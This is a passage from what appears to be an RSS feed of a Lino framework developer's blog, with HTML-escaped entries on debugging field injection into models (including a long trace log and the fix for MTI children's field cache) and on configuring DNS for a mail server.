    &lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client_model&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;id_document&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Identifying document&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;uploads.UploadsByClient&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client_model&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;site&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client_model&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Plugin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pre_site_startup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;site&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Presto doesn’t use this shortcut but shouldn’t get disturbed by it.  But adding
this shortcut seems to have a side effect.  uploads.models defines a
&lt;cite&gt;pre_analyze&lt;/cite&gt; receiver that injects a virtual display field on the &lt;cite&gt;model_spec&lt;/cite&gt;
of every shortcut:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nd"&gt;@dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;receiver&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pre_analyze&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;before_analyze&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;Shortcuts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="o"&gt;...&lt;/span&gt;
        &lt;span class="n"&gt;vf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VirtualField&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DisplayField&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inject_field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;model_spec&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;vf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The pre_analyze signal is run long before pre_site_startup&lt;/p&gt;
&lt;p&gt;Maybe inject_field fails when it is called a second time on a model before the
model is prepared?&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;20200622 Run /home/luc/work/lino/lino/modlib/users/models.py:305 for &amp;lt;class &amp;#39;lino.modlib.users.models.Authority&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/countries/models.py:152 for &amp;lt;class &amp;#39;lino_xl.lib.countries.models.Place&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/contacts/models.py:614 for &amp;lt;class &amp;#39;lino.modlib.system.models.SiteConfig&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/calview/models.py:49 for &amp;lt;class &amp;#39;lino_xl.lib.calview.models.DailyPlannerRow&amp;#39;&amp;gt;
20200622 Run /home/luc/work/presto/lino_presto/lib/contacts/models.py:173 for &amp;lt;class &amp;#39;lino_presto.lib.contacts.models.Person&amp;#39;&amp;gt;
20200622 Run /home/luc/work/lino/lino/modlib/checkdata/models.py:172 for &amp;lt;class &amp;#39;lino.modlib.checkdata.models.Problem&amp;#39;&amp;gt;
20200622 Run /home/luc/work/lino/lino/modlib/gfks/mixins.py:50 for &amp;lt;class &amp;#39;lino.modlib.checkdata.models.Problem&amp;#39;&amp;gt;
20200622 Run /home/luc/work/lino/lino/modlib/gfks/mixins.py:54 for &amp;lt;class &amp;#39;lino.modlib.checkdata.models.Problem&amp;#39;&amp;gt;
20200622 Run /home/luc/work/lino/lino/modlib/gfks/mixins.py:59 for &amp;lt;class &amp;#39;lino.modlib.checkdata.models.Problem&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/cal/mixins.py:750 for &amp;lt;class &amp;#39;lino_xl.lib.cal.mixins.RecurrenceSet&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/cal/models.py:125 for &amp;lt;class &amp;#39;lino_xl.lib.cal.models.Room&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/cal/models.py:127 for &amp;lt;class &amp;#39;lino_xl.lib.cal.models.Room&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/cal/models.py:349 for &amp;lt;class &amp;#39;lino_xl.lib.cal.models.RecurrentEvent&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/cal/models.py:915 for &amp;lt;class &amp;#39;lino_xl.lib.cal.models.Event&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/cal/models.py:1120 for &amp;lt;class &amp;#39;lino_presto.lib.users.models.User&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/cal/models.py:1127 for &amp;lt;class &amp;#39;lino_presto.lib.users.models.User&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/cal/models.py:1137 for &amp;lt;class &amp;#39;lino.modlib.system.models.SiteConfig&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/cal/models.py:1148 for &amp;lt;class &amp;#39;lino.modlib.system.models.SiteConfig&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/cal/models.py:1157 for &amp;lt;class &amp;#39;lino.modlib.system.models.SiteConfig&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/cal/models.py:1167 for &amp;lt;class &amp;#39;lino.modlib.system.models.SiteConfig&amp;#39;&amp;gt;
20200622 Run /home/luc/work/presto/lino_presto/lib/cal/models.py:223 for &amp;lt;class &amp;#39;lino_presto.lib.cal.models.Event&amp;#39;&amp;gt;
20200622 Run /home/luc/work/presto/lino_presto/lib/cal/models.py:224 for &amp;lt;class &amp;#39;lino_xl.lib.cal.models.EventType&amp;#39;&amp;gt;
20200622 Run /home/luc/work/presto/lino_presto/lib/cal/models.py:316 for &amp;lt;class &amp;#39;lino_xl.lib.cal.models.Guest&amp;#39;&amp;gt;
20200622 Run /home/luc/work/lino/lino/modlib/uploads/models.py:185 for &amp;lt;class &amp;#39;lino.modlib.uploads.models.Upload&amp;#39;&amp;gt;
20200622 Defer /home/luc/work/xl/lino_xl/lib/ledger/ui.py:415 for ledger.Account
20200622 Run /home/luc/work/xl/lino_xl/lib/ledger/ui.py:434 for &amp;lt;class &amp;#39;lino_presto.lib.contacts.models.Partner&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/ledger/models.py:1123 for &amp;lt;class &amp;#39;lino_xl.lib.accounting.models.Account&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/ledger/models.py:1123 for &amp;lt;class &amp;#39;lino_xl.lib.accounting.models.Account&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/ledger/models.py:1123 for &amp;lt;class &amp;#39;lino_xl.lib.accounting.models.Account&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/ledger/models.py:1123 for &amp;lt;class &amp;#39;lino_xl.lib.accounting.models.Account&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/ledger/models.py:1123 for &amp;lt;class &amp;#39;lino_xl.lib.accounting.models.Account&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/ledger/models.py:1123 for &amp;lt;class &amp;#39;lino_xl.lib.accounting.models.Account&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/ledger/models.py:1132 for &amp;lt;class &amp;#39;lino_presto.lib.contacts.models.Partner&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/orders/models.py:352 for &amp;lt;class &amp;#39;lino_xl.lib.orders.models.Enrolment&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/orders/models.py:354 for &amp;lt;class &amp;#39;lino_xl.lib.orders.models.Enrolment&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/orders/models.py:409 for &amp;lt;class &amp;#39;lino_xl.lib.accounting.models.Journal&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/trading/mixins.py:63 for &amp;lt;class &amp;#39;lino_xl.lib.trading.mixins.TradingVoucher&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/trading/mixins.py:64 for &amp;lt;class &amp;#39;lino_xl.lib.trading.mixins.TradingVoucher&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/trading/mixins.py:65 for &amp;lt;class &amp;#39;lino_xl.lib.trading.mixins.TradingVoucher&amp;#39;&amp;gt;
20200622 Run /home/luc/work/lino/lino/modlib/dashboard/models.py:44 for &amp;lt;class &amp;#39;lino_presto.lib.users.models.User&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/clients/models.py:61 for &amp;lt;class &amp;#39;lino_xl.lib.clients.models.ClientContact&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/clients/models.py:67 for &amp;lt;class &amp;#39;lino_presto.lib.contacts.models.Partner&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/households/models.py:525 for &amp;lt;class &amp;#39;lino_presto.lib.contacts.models.Person&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/excerpts/models.py:631 for &amp;lt;class &amp;#39;lino_xl.lib.excerpts.models.Excerpt&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/excerpts/models.py:633 for &amp;lt;class &amp;#39;lino_xl.lib.excerpts.models.Excerpt&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/vat/models.py:28 for &amp;lt;class &amp;#39;lino_xl.lib.vat.models.VatAccountInvoice&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/vat/models.py:29 for &amp;lt;class &amp;#39;lino_xl.lib.vat.models.VatAccountInvoice&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/vat/models.py:63 for &amp;lt;class &amp;#39;lino_presto.lib.contacts.models.Partner&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/vat/models.py:79 for &amp;lt;class &amp;#39;lino_presto.lib.contacts.models.Partner&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/vat/models.py:84 for &amp;lt;class &amp;#39;lino_presto.lib.contacts.models.Partner&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/vat/models.py:87 for &amp;lt;class &amp;#39;lino_xl.lib.accounting.models.Movement&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/vat/models.py:90 for &amp;lt;class &amp;#39;lino_xl.lib.accounting.models.Movement&amp;#39;&amp;gt;
20200622 Run /home/luc/work/presto/lino_presto/lib/trading/models.py:65 for &amp;lt;class &amp;#39;lino_xl.lib.trading.models.VatProductInvoice&amp;#39;&amp;gt;
20200622 Run /home/luc/work/presto/lino_presto/lib/trading/models.py:67 for &amp;lt;class &amp;#39;lino_xl.lib.trading.models.VatProductInvoice&amp;#39;&amp;gt;
20200622 Run /home/luc/work/presto/lino_presto/lib/trading/models.py:69 for &amp;lt;class &amp;#39;lino_xl.lib.trading.models.InvoiceItem&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/invoicing/models.py:84 for &amp;lt;class &amp;#39;lino_presto.lib.contacts.models.Partner&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/invoicing/models.py:510 for &amp;lt;class &amp;#39;lino_xl.lib.products.models.Product&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/invoicing/models.py:514 for &amp;lt;class &amp;#39;lino_xl.lib.trading.models.VatProductInvoice&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/invoicing/models.py:517 for &amp;lt;class &amp;#39;lino_xl.lib.trading.models.VatProductInvoice&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/invoicing/models.py:524 for &amp;lt;class &amp;#39;lino_xl.lib.trading.models.InvoiceItem&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/invoicing/models.py:530 for &amp;lt;class &amp;#39;lino_xl.lib.trading.models.InvoiceItem&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/invoicing/models.py:535 for &amp;lt;class &amp;#39;lino_xl.lib.trading.models.InvoiceItem&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/invoicing/models.py:549 for &amp;lt;class &amp;#39;lino_xl.lib.trading.models.InvoiceItem&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/sepa/models.py:114 for &amp;lt;class &amp;#39;lino_xl.lib.accounting.models.Journal&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/notes/models.py:175 for &amp;lt;class &amp;#39;lino_xl.lib.notes.models.Note&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/notes/models.py:177 for &amp;lt;class &amp;#39;lino_xl.lib.notes.models.Note&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/notes/models.py:274 for &amp;lt;class &amp;#39;lino.modlib.system.models.SiteConfig&amp;#39;&amp;gt;
20200622 Run /home/luc/work/presto/lino_presto/lib/presto/models.py:156 for &amp;lt;class &amp;#39;lino_presto.lib.presto.models.Client&amp;#39;&amp;gt;
20200622 Run /home/luc/work/presto/lino_presto/lib/presto/models.py:158 for &amp;lt;class &amp;#39;lino_presto.lib.presto.models.Client&amp;#39;&amp;gt;
20200622 Run /home/luc/work/presto/lino_presto/lib/presto/models.py:159 for &amp;lt;class &amp;#39;lino_presto.lib.presto.models.Client&amp;#39;&amp;gt;
20200622 Run /home/luc/work/lino/lino/modlib/users/models.py:318 for &amp;lt;class &amp;#39;lino_presto.lib.users.models.User&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/vat/desktop.py:142 for vat.VatInvoices
20200622 Run /home/luc/work/lino/lino/modlib/uploads/models.py:447 for &amp;lt;class &amp;#39;lino_presto.lib.presto.models.Client&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/ledger/choicelists.py:409 for &amp;lt;class &amp;#39;lino_xl.lib.products.models.Product&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/ledger/choicelists.py:414 for &amp;lt;class &amp;#39;lino_xl.lib.products.models.Product&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/ledger/choicelists.py:400 for &amp;lt;class &amp;#39;lino_presto.lib.contacts.models.Partner&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/products/models.py:190 for &amp;lt;class &amp;#39;lino_xl.lib.products.models.PriceRule&amp;#39;&amp;gt;
20200622 Run /home/luc/work/xl/lino_xl/lib/products/models.py:193 for &amp;lt;class &amp;#39;lino_presto.lib.contacts.models.Partner&amp;#39;&amp;gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Maybe I must run fix_field_cache also on all MTI children? Yes! This was the bug:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;When using &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.inject.html#lino.core.inject.inject_field" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.inject.inject_field()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; on a model, Lino did not
reset the field cache of the MTI children of that model.  This turned out to
be necessary in some sitations.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Unrelated changes en passant:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;get_installed_plugins of presto now yields &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;uploads&lt;/span&gt;&lt;/code&gt; earlier.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.api.doctest.html#lino.api.doctest.show_choicelists" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.api.doctest.show_choicelists()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; now also shows the number of items in each choicelist.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="configure-mail-server-for-avanti"&gt;
&lt;h2&gt;Configure mail server for avanti&lt;a class="headerlink" href="#configure-mail-server-for-avanti" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I am applying &lt;a class="reference external" href="https://hosting.lino-framework.org/mail/#admin-mail" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;Running your own mail server&lt;/span&gt;&lt;/a&gt; for the new avanti server.&lt;/p&gt;
&lt;p&gt;I added an MX record:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;avanti&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;mylino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="n"&gt;avanti&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;mylino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I changed the Reverse DNS record for 51.178.46.165 from their default value
“165.ip-51-178-46.eu” to “mail.avanti.mylino.net”.&lt;/p&gt;
&lt;p&gt;Before:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ dig -x 51.178.46.165

; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.11.3-1ubuntu1.12-Ubuntu &amp;lt;&amp;lt;&amp;gt;&amp;gt; -x 51.178.46.165
;; global options: +cmd
;; Got answer:
;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 29163
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 65494
;; QUESTION SECTION:
;165.46.178.51.in-addr.arpa.  IN      PTR

;; ANSWER SECTION:
165.46.178.51.in-addr.arpa. 7026 IN   PTR     165.ip-51-178-46.eu.

;; Query time: 0 msec
;; SERVER: 127.0.0.53#53(127.0.0.53)
;; WHEN: Mon Jun 22 18:02:51 EEST 2020
;; MSG SIZE  rcvd: 88
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0622.html</guid><pubDate>Mon, 22 Jun 2020 00:00:00 +0000</pubDate></item><item><title>Sunday, June 21, 2020</title><link>https://luc.lino-framework.org/blog/2020/0621.html</link><description>&lt;section id="sunday-june-21-2020"&gt;
&lt;h1&gt;Sunday, June 21, 2020&lt;a class="headerlink" href="#sunday-june-21-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="worker-has-no-field-named-purchase-account-id"&gt;
&lt;h2&gt;Worker has no field named ‘purchase_account_id&lt;a class="headerlink" href="#worker-has-no-field-named-purchase-account-id" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;contacts.Worker&lt;/span&gt;&lt;/code&gt; model in &lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/index.html#presto" title="(in Lino Presto)"&gt;&lt;span&gt;Lino Presto&lt;/span&gt;&lt;/a&gt; does have a field
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;purchase_account&lt;/span&gt;&lt;/code&gt; (which is a FK and therefore creates a field
&lt;cite&gt;purchase_account_id&lt;/cite&gt;).&lt;/p&gt;
&lt;p&gt;The &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;purchase_account&lt;/span&gt;&lt;/code&gt; is a bit special because it is injected
automatically by  the &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting.choicelists&lt;/span&gt;&lt;/code&gt; module where we have
this code:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;TradeTypes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add_item&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;P&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Purchases&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;purchases&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dc&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;CREDIT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;base_account&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;CommonAccounts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;purchase_of_goods&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;main_account&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;CommonAccounts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;suppliers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;invoice_account_field_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;purchase_account&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;invoice_account_field_label&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Purchase account&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Every trade type potentially injects a series of fields into certain models.
One of these fields is given by &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;invoice_account_field_name&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Later in the same module we define a receiver for the &lt;cite&gt;pre_analyze&lt;/cite&gt; event that
injects the &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;purchase_account&lt;/span&gt;&lt;/code&gt; field into &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;contacts.Partner&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nd"&gt;@dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;receiver&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pre_analyze&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;inject_tradetype_fields&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;tt&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;TradeTypes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;tt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;invoice_account_field_name&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inject_field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
